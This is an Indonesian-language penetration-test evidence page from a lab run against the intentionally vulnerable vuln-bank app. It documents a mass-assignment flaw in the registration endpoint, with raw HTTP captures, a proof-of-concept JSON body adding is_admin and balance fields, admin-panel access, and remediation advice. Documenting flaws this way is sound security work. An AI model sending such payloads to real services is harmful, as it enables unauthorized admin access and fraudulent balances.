Skenario 10 / 26FAIL

Mass Assignment - Registration - Privilege Fields

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Mass Assignment - Registration - Privilege Fields

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Mass Assignment - Registration - Privilege Fields

Deskripsi

Endpoint /register menyalin seluruh key pada JSON permintaan ke dalam statement INSERT tanpa allow-list kolom. Field sensitif seperti is_admin dan balance yang seharusnya ditentukan server dapat dikirim klien dan langsung tersimpan.

Dampak

Integrity (Critical): siapa pun yang dapat mengakses halaman pendaftaran dapat membuat akun administrator untuk dirinya sendiri sekaligus menetapkan saldo rekening sesuka hati. Ini melewati seluruh kontrol persetujuan pembuatan admin dan menciptakan saldo fiktif pada sistem perbankan.

CWE

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

OWASP

A04:2021 - Insecure Design

Skenario

Normal: pendaftaran hanya dengan username dan password menghasilkan akun biasa (is_admin false, saldo default 1000). Eksploitasi: permintaan yang sama ditambah field is_admin true dan balance 999999 -> akun langsung dibuat sebagai administrator dengan saldo yang ditentukan penyerang. Dampak: login akun tersebut membuka panel admin.

Endpoint

POST http://127.0.0.1:5001/register

Fitur terdampak

Pendaftaran pengguna baru

Rekomendasi perbaikan

- Terapkan allow-list kolom yang boleh diisi klien (username, password saja); abaikan field lain secara eksplisit. - Tetapkan is_admin dan balance di sisi server dengan nilai default, tidak pernah dari input. - Pisahkan pembuatan administrator ke alur khusus yang memerlukan otorisasi admin. - Hapus blok debug_data yang memantulkan input mentah pada respons.

Bukti konsep

1) (Screenshot 1) NORMAL: pendaftaran ma_normal_user dengan username dan password saja -> is_admin false, balance 1000. 2) (Screenshot 2) EKSPLOITASI: pendaftaran ma_evil_admin dengan tambahan is_admin true dan balance 999999 -> tersimpan sebagai administrator bersaldo 999999. 3) (Screenshot 3) DAMPAK CIA: login ma_evil_admin lalu akses /sup3r_s3cr3t_admin -> HTTP 200, panel administrasi terbuka.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Mass Assignment - Registration - Privilege Fields

Description:
Endpoint /register menyalin seluruh key pada JSON permintaan ke dalam statement INSERT tanpa allow-list kolom. Field sensitif seperti is_admin dan balance yang seharusnya ditentukan server dapat dikirim klien dan langsung tersimpan.

Impact:
Integrity (Critical): siapa pun yang dapat mengakses halaman pendaftaran dapat membuat akun administrator untuk dirinya sendiri sekaligus menetapkan saldo rekening sesuka hati. Ini melewati seluruh kontrol persetujuan pembuatan admin dan menciptakan saldo fiktif pada sistem perbankan.

CWE:
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

OWASP:
A04:2021 - Insecure Design

Scenario:
Normal: pendaftaran hanya dengan username dan password menghasilkan akun biasa (is_admin false, saldo default 1000). Eksploitasi: permintaan yang sama ditambah field is_admin true dan balance 999999 -> akun langsung dibuat sebagai administrator dengan saldo yang ditentukan penyerang. Dampak: login akun tersebut membuka panel admin.

Endpoint:
POST http://127.0.0.1:5001/register

Affected Feature:
Pendaftaran pengguna baru

Remediation:
- Terapkan allow-list kolom yang boleh diisi klien (username, password saja); abaikan field lain secara eksplisit.
- Tetapkan is_admin dan balance di sisi server dengan nilai default, tidak pernah dari input.
- Pisahkan pembuatan administrator ke alur khusus yang memerlukan otorisasi admin.
- Hapus blok debug_data yang memantulkan input mentah pada respons.

POC:
1) (Screenshot 1) NORMAL: pendaftaran ma_normal_user dengan username dan password saja -> is_admin false, balance 1000.
2) (Screenshot 2) EKSPLOITASI: pendaftaran ma_evil_admin dengan tambahan is_admin true dan balance 999999 -> tersimpan sebagai administrator bersaldo 999999.
3) (Screenshot 3) DAMPAK CIA: login ma_evil_admin lalu akses /sup3r_s3cr3t_admin -> HTTP 200, panel administrasi terbuka.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 2
03 / 3

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 55
Content-Type: application/json

{"username": "ma_normal_user", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 537
X-Debug-Info: {'user_id': 4, 'username': 'ma_normal_user', 'account_number': '7503483798', 'balance': 1000.0, 'is_admin': False, 'registration_time': '2026-09-30 02:58:20.805245', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_normal_user', 'password': 'Normal123'}, 'fields_registered': ['username', 'password', 'account_number']}
X-User-Info: id=4;admin=False;balance=1000.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:20 GMT

{
  "debug_data": {
    "account_number": "7503483798",
    "balance": 1000.0,
    "fields_registered": [
      "username",
      "password",
      "account_number"
    ],
    "is_admin": false,
    "raw_data": {
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_normal_user"
    },
    "registration_time": "2026-09-30 02:58:20.805245",
    "server_info": "python-requests/2.33.1",
    "user_id": 4,
    "username": "ma_normal_user"
  },
  "message": "Registration successful! Proceed to login",
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 89
Content-Type: application/json

{"username": "ma_evil_admin", "password": "[REDACTED-LAB-VALUE]", "is_admin": true, "balance": 999999}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 622
X-Debug-Info: {'user_id': 5, 'username': 'ma_evil_admin', 'account_number': '7658808238', 'balance': 999999.0, 'is_admin': True, 'registration_time': '2026-09-30 02:58:21.806878', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_evil_admin', 'password': 'Evil123', 'is_admin': True, 'balance': 999999}, 'fields_registered': ['username', 'password', 'account_number', 'is_admin', 'balance']}
X-User-Info: id=5;admin=True;balance=999999.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:21 GMT

{
  "debug_data": {
    "account_number": "7658808238",
    "balance": 999999.0,
    "fields_registered": [
      "username",
      "password",
      "account_number",
      "is_admin",
      "balance"
    ],
    "is_admin": true,
    "raw_data": {
      "balance": 999999,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_evil_admin"
    },
    "registration_time": "2026-09-30 02:58:21.806878",
    "server_info": "python-requests/2.33.1",
    "user_id": 5,
    "username": "ma_evil_admin"
  },
  "message": "Registration successful! Proceed to login",
  "status": "success"
}
REKAMAN 03 / 3
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 46565
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:22 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 40554 more bytes not shown ...]